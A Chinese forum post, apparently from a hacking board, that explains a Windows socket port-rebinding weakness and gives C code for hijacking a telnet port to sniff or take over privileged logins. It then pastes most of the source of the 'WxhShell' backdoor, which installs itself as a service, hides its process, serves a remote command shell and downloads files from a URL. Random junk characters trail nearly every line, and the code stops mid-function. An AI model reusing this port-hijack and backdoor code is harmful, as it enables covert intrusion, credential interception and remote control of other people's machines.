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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: UVgDm&FF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hI,+J>  
 Vsd4;  
  saddr.sin_family = AF_INET; B* k|NZj  
34 I Cn~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $'COsiK7  
)p[Qj58  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wQojmmQ  
(/A 6kp?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `_(N(dm  
gQuU_dbXSB  
  这意味着什么?意味着可以进行如下的攻击: (8Te{Kh'  
zin'&G>l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pd.5  
g:Fo7*i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rN`-ak  
e5m]mzF@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Dw.Pv)'$  
\!wo<UX%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  iw I}  
QG5)mIJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JY$+<`XM  
Vs(D(d,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w$ jq2?l  
Nzl`mx16  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Kc+TcC  
:a_MT  
  #include C^*}*hYk$  
  #include -+kTw06_C  
  #include &;%, Axc  
  #include    n\u3$nGL1`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   C5=m~  
  int main() [S?`OF12  
  { Og?P5&C"9D  
  WORD wVersionRequested; `Wp y6o  
  DWORD ret; kcE86Y=|x!  
  WSADATA wsaData; +q] kpkG!  
  BOOL val; f9^MLb6)  
  SOCKADDR_IN saddr; z;\,Dt  
  SOCKADDR_IN scaddr; jV(b?r)eT{  
  int err; D{M& >.  
  SOCKET s; (VBO1f  
  SOCKET sc; xOKf|  
  int caddsize; Xvxj-\ -  
  HANDLE mt; GP_%. fO\M  
  DWORD tid;   ;9hS_%ldX4  
  wVersionRequested = MAKEWORD( 2, 2 ); _ _[bKd.  
  err = WSAStartup( wVersionRequested, &wsaData ); _m3#g1m{  
  if ( err != 0 ) { #|F5Kh"  
  printf("error!WSAStartup failed!\n"); V@\A<q%jTs  
  return -1; e%^PVi  
  } O[z-K K<  
  saddr.sin_family = AF_INET; 3#Xv))w1  
   #ib?6=sPC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cCqmrjUmV  
As(6E}{S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jk1mP6'P|  
  saddr.sin_port = htons(23); mw~$;64;a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tW%!|T5/  
  { M)CQ|P  
  printf("error!socket failed!\n"); MsP`w3b  
  return -1; S&MF; E6  
  } ?F9c6$|  
  val = TRUE; fn Pej?f:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5wb R}`8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i?6#>;f  
  { TCK<IZKLqK  
  printf("error!setsockopt failed!\n"); 'v%v*Ujf[  
  return -1; ]~\%ANoi  
  } ef:YYt{|q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;:8SN&).  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 HA~BXxa/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~--F?KUnL  
4AYW'j C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sNsWz.DLT#  
  { :Kk+wp}f #  
  ret=GetLastError(); $pj;CoPm  
  printf("error!bind failed!\n"); ~!"z`&  
  return -1; Wn5xX5H C  
  } #%.fsJNA$  
  listen(s,2); q!<n\X3]u  
  while(1) < [q{0,  
  { sH :_sOV*  
  caddsize = sizeof(scaddr); fPab%>/T{  
  //接受连接请求 7a4h7/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); AIt;~x  
  if(sc!=INVALID_SOCKET) 8-FW'bA  
  { Vs, &  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y >U_l:_^  
  if(mt==NULL) isor%R!  
  { @}hdMVi  
  printf("Thread Creat Failed!\n"); I?KGb:]|  
  break; ah15 ,<j  
  } 1U8/.x|  
  } >44,Dp]  
  CloseHandle(mt); 8WLBq-]G  
  } oTk?a!Q  
  closesocket(s); 8 G:f[\^  
  WSACleanup(); y hNy  
  return 0; 5wa!pR\c  
  }   |[MtUWEW  
  DWORD WINAPI ClientThread(LPVOID lpParam) A8j$c~  
  { @^,9O92l  
  SOCKET ss = (SOCKET)lpParam; /N=M9i\;  
  SOCKET sc; SD]rYIu+  
  unsigned char buf[4096]; y#-~L-J_R  
  SOCKADDR_IN saddr; quiX "lV(  
  long num; >"pHk@AWK  
  DWORD val; PPj%.i)  
  DWORD ret; Y9y'`}+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6yedl0@wa!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h&<>nK   
  saddr.sin_family = AF_INET; Tr "Bz!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); EsjZ;D, c(  
  saddr.sin_port = htons(23); 8P*wt'Q$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TH? wXd\  
  { C*Wyw]:r  
  printf("error!socket failed!\n"); Wrs6t  
  return -1; ;I]$N]8YI  
  } H1hADn  
  val = 100; Z1R{'@Y0Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aa/_:V@$~  
  { M Jtn)gXb  
  ret = GetLastError(); 2\9OT>  
  return -1; f<*-;  
  } xGt>X77  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mxmj  
  { 52'0l>  
  ret = GetLastError(); b2UqN]{  
  return -1; JjnWv7W3$  
  } >JT^[i8[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) QI6=[  
  { GUUd(xS {  
  printf("error!socket connect failed!\n"); N`NW*~  
  closesocket(sc); #P;vc{ Iq  
  closesocket(ss); @8U8>'zDE  
  return -1; F 8 gw3  
  } yrFl,/8&G  
  while(1) q;9OqArq  
  { &6\f;T4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?5rM'O2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @_Es|(4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 & eWnS~hJ  
  num = recv(ss,buf,4096,0); ;BW9SqlN  
  if(num>0) fU ^5Dl  
  send(sc,buf,num,0); zI.:1(,  
  else if(num==0) =iE)vY,?"}  
  break; FUs57 V  
  num = recv(sc,buf,4096,0); PQ(/1v   
  if(num>0) t^8|t(Lq  
  send(ss,buf,num,0); 3'6by!N,d  
  else if(num==0) tiTh7qYi9  
  break; Y>I9o)KR  
  } Mb(hdS90  
  closesocket(ss); cb%ML1c  
  closesocket(sc); :?H1h8wbCt  
  return 0 ; z?.XVk-  
  } - e_B  
/R[P sB  
V(3rTDg  
========================================================== x(y=.4Yf+  
TZw['o  
下边附上一个代码,,WXhSHELL 7!^Zsp^+  
KBwY _  
========================================================== #s|,o Im  
z_A34@a  
#include "stdafx.h" `k~w 14~w  
?/^{sW' |  
#include <stdio.h> z i3gE$7  
#include <string.h> Jp +h''t  
#include <windows.h> :}[ D;cx  
#include <winsock2.h> 9 N9Q#o$!.  
#include <winsvc.h> F{FSmUxzK  
#include <urlmon.h> Rj~y#m  
jP"yG#  
#pragma comment (lib, "Ws2_32.lib") 7WEoyd  
#pragma comment (lib, "urlmon.lib") t[X,m]SX  
Sbjc8V ut  
#define MAX_USER   100 // 最大客户端连接数 ;Wig${  
#define BUF_SOCK   200 // sock buffer '2v$xOh!y  
#define KEY_BUFF   255 // 输入 buffer (V# *}eGy  
-ei+r#  
#define REBOOT     0   // 重启 tq2Ti Xo%  
#define SHUTDOWN   1   // 关机 -59;Zn/  
!-s6B  
#define DEF_PORT   5000 // 监听端口 Z]=9=S| .4  
,<<HkEMS  
#define REG_LEN     16   // 注册表键长度 &|c] U/_w  
#define SVC_LEN     80   // NT服务名长度 RbJbVFz8C  
q]OgT4ly  
// 从dll定义API tz_WxOQ0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9~yp =JOV@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s-),Pv|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T#D*B]oZ}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); + wF5(  
ki9vJ<  
// wxhshell配置信息 NA9ss  
struct WSCFG { jn#Ok@tZ  
  int ws_port;         // 监听端口 h SU|rVi  
  char ws_passstr[REG_LEN]; // 口令 f}{Oj-:"CC  
  int ws_autoins;       // 安装标记, 1=yes 0=no xoNn'LF#u  
  char ws_regname[REG_LEN]; // 注册表键名 Q7SRf$4  
  char ws_svcname[REG_LEN]; // 服务名  b~Oc:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vL~j6'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +*KDtqZjk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S<"`9r)av  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BnIZ+fg=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +V/mV7FK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lv\^@9r  
'cvc\=p  
}; |n\(I$  
psB9~EU&Q  
// default Wxhshell configuration A3zO&4f ]  
struct WSCFG wscfg={DEF_PORT, hdurT  
    "xuhuanlingzhe", Wj\< )cH]  
    1, ~+Ows  
    "Wxhshell", x).`nZ1  
    "Wxhshell", bb"x^DtT  
            "WxhShell Service", _`q ei0  
    "Wrsky Windows CmdShell Service", @-Ln* 3n  
    "Please Input Your Password: ", PZSi}j/  
  1, 5vjtF4}7!  
  "http://www.wrsky.com/wxhshell.exe", =\)qUs\z  
  "Wxhshell.exe" h"ko4b3^'@  
    }; # {|F2AM  
?8R  
// 消息定义模块 I)}T4OOc/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Wup%.yT~Ds  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ar1X mHq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  XOd  
char *msg_ws_ext="\n\rExit."; ~{BR~\D  
char *msg_ws_end="\n\rQuit."; @BS7Gyw  
char *msg_ws_boot="\n\rReboot..."; 5.FAuzz  
char *msg_ws_poff="\n\rShutdown..."; Dp" xO<PE2  
char *msg_ws_down="\n\rSave to "; YOY{f:ew  
* AjJf)o  
char *msg_ws_err="\n\rErr!"; cO/.(KBF  
char *msg_ws_ok="\n\rOK!"; C}cYG  
R#33AC CX  
char ExeFile[MAX_PATH]; 0O7VM)[  
int nUser = 0; " uHU!)J#z  
HANDLE handles[MAX_USER]; 6sl2vHzA  
int OsIsNt; b2HHoIT  
C4 @"@kbr  
SERVICE_STATUS       serviceStatus; Y<9Lqc.i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4z^5|$?_ta  
xgv&M:%D-  
// 函数声明 h6C:`0o  
int Install(void); Kgu#M i~  
int Uninstall(void); !nyUAZ9 :  
int DownloadFile(char *sURL, SOCKET wsh); iXFN|ml  
int Boot(int flag); ] ! :0^|  
void HideProc(void); {B+{2;Zk  
int GetOsVer(void); ICB'?yZ,  
int Wxhshell(SOCKET wsl); qW'5Zk  
void TalkWithClient(void *cs); oEnCe  
int CmdShell(SOCKET sock); fDIKR[B  
int StartFromService(void);  h@"u==0  
int StartWxhshell(LPSTR lpCmdLine); L(i0d[F  
JBvP {5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )6,Pmq~)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ncle8=8  
C4/p5J  
// 数据结构和表定义 34Z$a{ w  
SERVICE_TABLE_ENTRY DispatchTable[] = 5W~-|8m  
{ aO>Nev  
{wscfg.ws_svcname, NTServiceMain}, >KMTxHE`+  
{NULL, NULL} K18Sj,]B  
}; jbK<"T5  
o5 |P5h  
// 自我安装 !'T,%8']  
int Install(void) E HY}gG)  
{ @8s:,Y_  
  char svExeFile[MAX_PATH]; QR]61v:`  
  HKEY key; @F%_{6h  
  strcpy(svExeFile,ExeFile); !BikqTM  
b<?A  
// 如果是win9x系统,修改注册表设为自启动 ? {vY3~  
if(!OsIsNt) { VN!+r7w'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _4h[q4Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >zY~")|R(  
  RegCloseKey(key); |FrZ,(\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E A}Vb(2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b\H !\A  
  RegCloseKey(key); ThmN^N  
  return 0; +_E 96`P  
    } tOf18V{a  
  } R2!_)Rpf  
} NA9N#;  
else { 5fVm392+  
#K _E/~  
// 如果是NT以上系统,安装为系统服务 zM*PN|/%sH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CH3bpZv  
if (schSCManager!=0) %V3xO%  
{ f))'8  
  SC_HANDLE schService = CreateService C.}Vm};M  
  ( )>~d`_$dt  
  schSCManager, ( [m[<  
  wscfg.ws_svcname, )/ 2J|LxS  
  wscfg.ws_svcdisp, S&`iEwG  
  SERVICE_ALL_ACCESS, "T,^>xD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M~k2Y$}R  
  SERVICE_AUTO_START, 4ZN&Yf`  
  SERVICE_ERROR_NORMAL, js<}>wD7<  
  svExeFile, bEc @"^)  
  NULL, r%DaBx!x8  
  NULL, jVhfpS[  
  NULL, =ijVT_|u0  
  NULL, eLc@w<yB  
  NULL  /i  
  ); )zoO#tX  
  if (schService!=0) / %:%la%  
  { 5EqC.g.  
  CloseServiceHandle(schService); a'm\6AW2)  
  CloseServiceHandle(schSCManager); v<wR`7xG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EM&;SQ;C9  
  strcat(svExeFile,wscfg.ws_svcname); Udbz;^(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +rA:/!b)Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;^`WX}]C(  
  RegCloseKey(key); Cvf^3~ q  
  return 0; >UUT9:,plA  
    } L=9w 3VXS  
  } Ivue"_i;!  
  CloseServiceHandle(schSCManager); v)AadtZ0d  
} $IU|zda8  
} gcNpA?mC|u  
:0)nL  
return 1; ;x=r.3OQy  
} 6*92I  
ka$oUB)iQ  
// 自我卸载 "Yu';&  
int Uninstall(void) gQ@fe3[  
{ A>dA&'~R  
  HKEY key; o/Cu^[an  
-WX{ y Ci  
if(!OsIsNt) { lq%6~va  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _g#v*7o2@  
  RegDeleteValue(key,wscfg.ws_regname); ~^u#Q\KE"  
  RegCloseKey(key); V.k2t$@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !e"TWO*X  
  RegDeleteValue(key,wscfg.ws_regname); QTNE.n<?  
  RegCloseKey(key); 9?xc3F2EBD  
  return 0; \X?GzQkr  
  } ^.f`6 6/  
} yF#:*Vz>  
} O] nZr  
else { WKwU:im  
m {)F9F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "uthFE  
if (schSCManager!=0) z]J pvw`p  
{  b jq1",  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vid(^2+  
  if (schService!=0) EhBYmc" &  
  { ;.g <u  
  if(DeleteService(schService)!=0) { p*^[ ~}N  
  CloseServiceHandle(schService);  @aC2]  
  CloseServiceHandle(schSCManager); `vijd(a?v  
  return 0; &oyj8  
  } Ef2#}%>  
  CloseServiceHandle(schService); o/U"'FP  
  } \?X'U:  
  CloseServiceHandle(schSCManager); ^8#;>+7R  
} <&$:$_ah  
} mq(*4KFWJ2  
]ZjydQjo )  
return 1; pzPm(M1^X  
} l"-F<^ U  
lVmm`q6n9  
// 从指定url下载文件 ] _ON\v1  
int DownloadFile(char *sURL, SOCKET wsh) [H!8m7i;  
{ W r%E}mX-  
  HRESULT hr; iq!u}# x_  
char seps[]= "/"; @4Ox$M  
char *token; n#|pR2  
char *file; 3;h%mk KQ+  
char myURL[MAX_PATH]; mP?~#RZ  
char myFILE[MAX_PATH]; o|v_+<zD!  
B[I a8t  
strcpy(myURL,sURL); e{dYLQd  
  token=strtok(myURL,seps); h 'F\9t  
  while(token!=NULL) ny. YkN2  
  { 4X5Tyv(Dp  
    file=token; #CaT0#v  
  token=strtok(NULL,seps); y_=},a  
  } u\JYxNj1  
MJ )aY2  
GetCurrentDirectory(MAX_PATH,myFILE); qrj:H4#VB  
strcat(myFILE, "\\"); Ak\w)!?s  
strcat(myFILE, file); fs=W(~"  
  send(wsh,myFILE,strlen(myFILE),0); :]viLw\&g  
send(wsh,"...",3,0); {'QA0K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _qPd)V6yb  
  if(hr==S_OK) ^j1WF[GiSO  
return 0; BZP~m=kq  
else m'Thm{Y,?n  
return 1; `XJU$c  
r3hUa4^97  
} i8tH0w/(M  
$g?`yE(K  
// 系统电源模块 Xyrf$R'  
int Boot(int flag) ^,$>z*WQ.  
{ `V;vvHP A  
  HANDLE hToken; UUlrfur~  
  TOKEN_PRIVILEGES tkp; j0L A  
z}" Xt=G?  
  if(OsIsNt) { &mM[q 'V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~S],)E1w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k3 65.nc  
    tkp.PrivilegeCount = 1; SRixT+E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #hOAG_a,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,MtN_V-  
if(flag==REBOOT) { {M5[gr%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dz6i~&  
  return 0; \.R+|`{tf  
} Ny.s u?E  
else { F`3J=AJOJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YXR%{GUP[  
  return 0; j^g^=uau  
} Vko1{$}t  
  } W* XG9  
  else { !]W}I  
if(flag==REBOOT) { wuv2bd )+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %Q}T9%Mtj  
  return 0; <Q4yN!6  
} K'`N(WiL  
else { Dt9[uyP&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) azj:Hru&t#  
  return 0; Felu`@b  
} X\I"%6$  
} H'L ~8>  
Sc<%$ Gd  
return 1; llf|d'5Nl  
} Wm5/>Cu,  
H!D?;X  
// win9x进程隐藏模块 @q?zh'@;  
void HideProc(void) O>=D1no*  
{ )V}u}5  
S}=euY'i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .H,wdzg)  
  if ( hKernel != NULL ) m#E%, rT  
  { %lw!4Z\gg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /A U& X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $6ZO V/0  
    FreeLibrary(hKernel); 6S;-fj  
  } a8#6}`|C?  
Ol,Tw=?  
return; .,C8ASfh  
} }}";)}C`  
y] Io`w(>  
// 获取操作系统版本 24TQl<H{  
int GetOsVer(void)  $)5F3 a|  
{ =%4vrY `  
  OSVERSIONINFO winfo; K% ) K$/A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m)A~1+M$)L  
  GetVersionEx(&winfo); 'NM$<<0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lbw*T  
  return 1; n]/7UH}(<&  
  else (z}q6Lfa  
  return 0; DQ{Yr>J  
} >f [Lb|t  
6#/Riu%  
// 客户端句柄模块 L}bS"=B[&W  
int Wxhshell(SOCKET wsl) , qj  
{ !+?,y/*5(  
  SOCKET wsh; 9Bl c  
  struct sockaddr_in client; IH;+pN  
  DWORD myID; D Hkmn  
-Mb`I >=  
  while(nUser<MAX_USER) H0Q.; !^  
{ R "S,&  
  int nSize=sizeof(client); ~aK@M4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A9_)}  
  if(wsh==INVALID_SOCKET) return 1; 3Z *'  
;:JTb2xbb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v2>.+Eh#  
if(handles[nUser]==0) pPUv8, %  
  closesocket(wsh); SBBDlr^P  
else 87P.K Yy  
  nUser++; e}u# :ysj  
  } OPp>z0p%6X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zV(F9}^  
/dU-$}>ZI  
  return 0; 69U[kW&  
} o2cZ  
k%iZ..  
// 关闭 socket `%lgT+~T  
void CloseIt(SOCKET wsh) \:cr2w'c  
{ ?fB}9(6  
closesocket(wsh); S7cxEOfAu  
nUser--; @za X\  
ExitThread(0); "o +" Jd  
} MLV_I4o  
l65-8  
// 客户端请求句柄 Cd:ofv/3  
void TalkWithClient(void *cs) tBNkVh(c  
{ %Lec\(-4L  
$a|DR  
  SOCKET wsh=(SOCKET)cs; 6e1/h@p\7  
  char pwd[SVC_LEN]; %4:tRF  
  char cmd[KEY_BUFF]; 7/.-dfEK  
char chr[1]; u:+wuyu  
int i,j; eMPk k=V  
gl/n*s#r_  
  while (nUser < MAX_USER) { 2QUZAV\ Y  
eGrC0[SH  
if(wscfg.ws_passstr) { >gAq/'.Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l4oI5)w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @\,WJmW  
  //ZeroMemory(pwd,KEY_BUFF); V j\1 HQ  
      i=0; .6Swc?  
  while(i<SVC_LEN) { >b>3M'  
='1J&w~7  
  // 设置超时 :IFTiq5a;  
  fd_set FdRead; GdFTKOq  
  struct timeval TimeOut; "]}+QK_  
  FD_ZERO(&FdRead); -ec ~~95  
  FD_SET(wsh,&FdRead); bP%0T++vo  
  TimeOut.tv_sec=8; B;A^5~b  
  TimeOut.tv_usec=0; k^3|A3A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "^j& ^sA+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eWvL(2`Tx  
M{S7tMX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 30 Vv Zb  
  pwd=chr[0];  k~#F@_  
  if(chr[0]==0xd || chr[0]==0xa) { >W,1s  
  pwd=0; ,5jE9  
  break; =/@c9QaV B  
  } z= pb<Y@X  
  i++; IxwOzpr  
    } jq{rNxdGx  
,^ MA,"8  
  // 如果是非法用户,关闭 socket "x&hBJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e-;$Iv  
} 7<V(lX.{  
Ic 4>kKh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Zfyr& ]"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {s}@$rW  
cT abZc  
while(1) { s8T} ah!  
OHeVm-VC  
  ZeroMemory(cmd,KEY_BUFF); @&;y0N1xo  
k~WX6rEJ  
      // 自动支持客户端 telnet标准   AY['!&T  
  j=0; "(/ 1]EH`  
  while(j<KEY_BUFF) { (,eH*/~/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6 flc  
  cmd[j]=chr[0]; \HFeEEKH  
  if(chr[0]==0xa || chr[0]==0xd) { g+gHIb7{  
  cmd[j]=0; (q+U5Ls6  
  break; D'e'xU  
  } "=I ioY  
  j++; LGq}wxq  
    } EJP##eGx  
J2 _DP  
  // 下载文件 T_CYSS|fX  
  if(strstr(cmd,"http://")) { s$e0;C!D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @)mH"u!(7  
  if(DownloadFile(cmd,wsh)) K1O0/2O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |,F/_    
  else )P\Vd #  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,mH2S/<}S  
  } ]Lq9Ompf(t  
  else { kKnz F  
YK#bzu ,!  
    switch(cmd[0]) { }?xu/C  
  1,fjdd8OM;  
  // 帮助 9,y*kC  
  case '?': { #"%=7(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _A%} >:q  
    break; R*I{?+  
  } `i0RLGze  
  // 安装 '7}s25[{\  
  case 'i': { z8+3/jLN0B  
    if(Install())  Z+ [Nco  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SlvQ)jw%  
    else EeWCy5W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u= ( kii=/  
    break; RWf4Wh?d  
    } ('!90  
  // 卸载 #LEK?]y  
  case 'r': { +hg|!SS@5  
    if(Uninstall()) zRsG$)B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A<.`HCv2  
    else 0hK)/!Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s<x2*yVUA  
    break; ?}y?e}y*xZ  
    } uNV (r"  
  // 显示 wxhshell 所在路径 pulE6T7 x  
  case 'p': { \:C@L&3[  
    char svExeFile[MAX_PATH]; 6JBE=9d-Q  
    strcpy(svExeFile,"\n\r"); I0oM\~#  
      strcat(svExeFile,ExeFile); Ro`Hm8o/  
        send(wsh,svExeFile,strlen(svExeFile),0); t5 n$sF  
    break; ,6?L.L  
    } +avu&2B  
  // 重启 rwr>43S5<3  
  case 'b': { _O ~DJ"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'VCF{0{H~  
    if(Boot(REBOOT)) dC;@ Fn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -xtj:UO  
    else { w$UWfL(  
    closesocket(wsh); ,dK<2XP  
    ExitThread(0); RajzH2j+>  
    } +K2jYgy  
    break; =p|,~q&i  
    } G^J|_!.a  
  // 关机 gS ~QlW V  
  case 'd': { [#V?]P\uV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O7bTu<h=  
